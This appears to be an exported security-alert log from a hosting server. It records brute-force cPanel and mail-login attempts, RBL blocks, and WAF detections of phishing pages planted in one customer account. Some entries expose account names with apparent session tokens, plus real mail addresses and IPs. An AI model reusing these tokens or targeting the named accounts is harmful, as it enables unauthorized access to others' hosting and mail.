[2026-06-16 00:06:51 +0000] info [cpaneld] 164.163.200.219 - tcham "GET /login/?login_only=1&user=tcham&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcham (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.57.13.133
country_id: 1527747
description:
[2026-06-16 00:06:52 +0000] info [cpaneld] 5.57.13.133 - tchamba "GET /login/?login_only=1&user=tchamba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.143.236.211
country_id: 2542007
description:
[2026-06-16 00:07:04 +0000] info [cpaneld] 41.143.236.211 - tch "GET /login/?login_only=1&user=tch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.158.225.64
country_id: 3996063
description:
[2026-06-16 00:06:25 +0000] info [cpaneld] 187.158.225.64 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.203.29.210
country_id: 285570
description:
[2026-06-16 00:06:48 +0000] info [cpaneld] 89.203.29.210 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:07:34 dovecot_login authenticator failed for H=(NMuAoim) [130.12.181.65]:53719: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:07:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.136
country_id: 1835841
description:
Jun 16 00:08:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:08:38 dovecot_login authenticator failed for H=(bdjeeWur) [130.12.181.65]:65204: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:08:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-06-16 00:08:48 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [121.131.220.136]:34140: 535 Incorrect authentication data (set_id=hr@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:09:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:10:04 dovecot_login authenticator failed for H=(gAr9aPLYF) [130.12.181.65]:55942: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:09:22 dovecot_login authenticator failed for H=(8CW9aMjPX2) [130.12.181.65]:52117: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.59.184.244
country_id: 6252001
description:
Jun 16 00:10:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.59.184.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.59.184.244
country_id: 6252001
description:
2026-06-16 00:10:06 dovecot_plain authenticator failed for H=(shx55x06w8w6sy4i1s97nfkyqern15) [172.59.184.244]:1808: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.250.9.98
country_id: 2017370
description:
2026-06-16 00:10:18 dovecot_login authenticator failed for H=host87-250-9-098.etth.mark-itt.net ([118.26.153.102]) [87.250.9.98]:49896: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:10:25 dovecot_login authenticator failed for H=(Mo2Dw4GR) [130.12.181.65]:62515: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.19.12.103
country_id: 2635167
description:
Jun 16 00:10:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.19.12.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.19.12.103
country_id: 2635167
description:
2026-06-16 00:10:25 dovecot_login authenticator failed for H=cpc122100-bmly10-2-0-cust102.2-3.cable.virginm.net (static-185-2-228-48.cust.tele2.lt) [82.19.12.103]:50462: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:10:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.97.221.240
country_id: 290557
description:
[2026-06-16 00:10:29 +0000] info [whostmgrd] 86.97.221.240 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:11:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.233
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.028224535286608.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-16 00:12:12 +0000] info [cpaneld] 107.175.5.43 NEW wcnyaruu:L1qBM1QwOYmjYlyn address=107.175.5.43,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:11:33 dovecot_login authenticator failed for H=(i8qLaFe) [130.12.181.65]:61600: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.151
country_id: 6252001
description:
[2026-06-16 00:11:38 +0000] info [cpaneld] 64.44.59.151 NEW ifxmoxbf:r4fK2XpqmWIJGoRU address=64.44.59.151,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:12:37 dovecot_login authenticator failed for H=(7SrZMFCDY) [130.12.181.65]:60846: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 16 00:12:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 16 00:13:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.164.211.153
country_id: 290557
description:
[2026-06-16 00:13:15 +0000] info [whostmgrd] 217.164.211.153 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.138.164.119
country_id: 2661886
description:
Jun 16 00:13:07 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.138.164.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.88.218.97
country_id: 1814991
description:
Jun 16 00:13:16 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.88.218.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:12:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.188
country_id: 1814991
description:
Jun 16 00:12:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 16 00:13:09 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.103.136.43
country_id: 3895114
description:
Jun 16 00:13:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.103.136.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.146.70
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/resolution-des-crises-sociopolitiques-en-afrique-de-louest-loci-sollicite-faure-gnassingbe/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.119
country_id: 1269750
description:
Jun 16 00:13:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 16 00:13:51 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 16 00:13:58 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.180.164.182
country_id: 1835841
description:
Jun 16 00:14:15 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.180.164.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:13:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.88.218.97
country_id: 1814991
description:
Jun 16 00:13:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.88.218.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.226.71
country_id: 1269750
description:
Jun 16 00:14:01 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.226.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.146.70
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/resolution-des-crises-sociopolitiques-en-afrique-de-louest-loci-sollicite-faure-gnassingbe/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:13:23 dovecot_login authenticator failed for H=(Ij5CGWsj) [130.12.181.65]:56846: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.103.136.43
country_id: 3895114
description:
Jun 16 00:13:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.103.136.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 16 00:13:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:14:27 dovecot_login authenticator failed for H=(FWv59F3TD) [130.12.181.65]:59935: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:14:34 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:39518: 535 Incorrect authentication data (set_id=tools)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.226.71
country_id: 1269750
description:
Jun 16 00:14:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.226.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 16 00:14:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:14:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.149
country_id: 1269750
description:
Jun 16 00:15:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:14:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:15:12 dovecot_login authenticator failed for H=(sT8XIL) [130.12.181.65]:65104: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.3.178.94
country_id: 3175395
description:
Jun 16 00:15:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.3.178.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.104.225.201
country_id: 6252001
description:
Jun 16 00:14:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.104.225.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.191.145.123
country_id: 1814991
description:
Jun 16 00:15:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.191.145.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.130.35.29
country_id: 2017370
description:
Jun 16 00:14:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.130.35.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 16 00:14:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:15:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:15:33 dovecot_login authenticator failed for H=(udzoPQlaKG) [130.12.181.65]:58131: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.119.41.219
country_id: 294640
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:212.119.41.219||TA:212.119.41.219||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.38
country_id: 3175395
description:
Jun 16 00:16:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.2.57.138
country_id: 3469034
description:
Jun 16 00:15:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.2.57.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 205.164.176.158
country_id: 3469034
description:
[2026-06-16 00:16:31 +0000] info [cpaneld] 205.164.176.158 - tdntg "GET /login/?login_only=1&user=tdntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.116.140.96
country_id: 3686110
description:
[2026-06-16 00:16:30 +0000] info [cpaneld] 186.116.140.96 - tdn "GET /login/?login_only=1&user=tdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.39.60.137
country_id: 102358
description:
[2026-06-16 00:16:34 +0000] info [cpaneld] 51.39.60.137 - td "GET /login/?login_only=1&user=td&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user td (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:16:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.0.224.98
country_id: 3865483
description:
[2026-06-16 00:16:33 +0000] info [cpaneld] 181.0.224.98 - tdntg "GET /login/?login_only=1&user=tdntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdntg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.38
country_id: 3175395
description:
Jun 16 00:16:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:16:36 dovecot_login authenticator failed for H=(67UUvzJ) [130.12.181.65]:61620: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.192.212.213
country_id: 1733045
description:
[2026-06-16 00:16:26 +0000] info [cpaneld] 14.192.212.213 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:17:39 dovecot_login authenticator failed for H=(XMFEgtwT) [130.12.181.65]:57987: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.225
country_id: 2635167
description:
[2026-06-16 00:17:21 +0000] info [cpaneld] 5.230.133.225 NEW ifxmoxbf:GXk1URl4Fg5iHOAw address=5.230.133.225,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.102
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.625950040871454.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:17:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:00:19:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949193&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569144 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:18:21 dovecot_login authenticator failed for H=(56GTfeJ) [130.12.181.65]:63961: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:18:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.162.60.216
country_id: 1835841
description:
Jun 16 00:18:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.162.60.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.60.216
country_id: 1835841
description:
2026-06-16 00:18:24 dovecot_login authenticator failed for H=(136.151.48.116.static.netvigator.com) [221.162.60.216]:44452: 535 Incorrect authentication data (set_id=hr@anrtogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:19:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:19:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:19:23 dovecot_login authenticator failed for H=(fZLnJILgii) [130.12.181.65]:53782: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:20:08 dovecot_login authenticator failed for H=(hU2hLdPM) [130.12.181.65]:55744: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:20:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:20:29 dovecot_login authenticator failed for H=(KmhRKp) [130.12.181.65]:51638: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.245.212.159
country_id: 3996063
description:
[2026-06-16 00:22:19 +0000] info [cpaneld] 177.245.212.159 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:21:30 dovecot_login authenticator failed for H=(a0lAjO) [130.12.181.65]:52041: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.191.101.45
country_id: 3895114
description:
[2026-06-16 00:21:54 +0000] info [cpaneld] 45.191.101.45 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:21:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.81.189.75
country_id: 1814991
description:
2026-06-16 00:21:51 H=([113.81.189.75]) [113.81.189.75]:19368 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.43.224.49
country_id: 2017370
description:
2026-06-16 00:21:40 H=([188.43.224.49]) [188.43.224.49]:61458 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.162.238.33
country_id: 3469034
description:
[2026-06-16 00:22:00 +0000] info [cpaneld] 45.162.238.33 - matwtogo "GET /login/?login_only=1&user=matwtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.223.35.106
country_id: 3996063
description:
[2026-06-16 00:22:10 +0000] info [cpaneld] 189.223.35.106 - matwto "GET /login/?login_only=1&user=matwto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwto (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.237.24.226
country_id: 3932488
description:
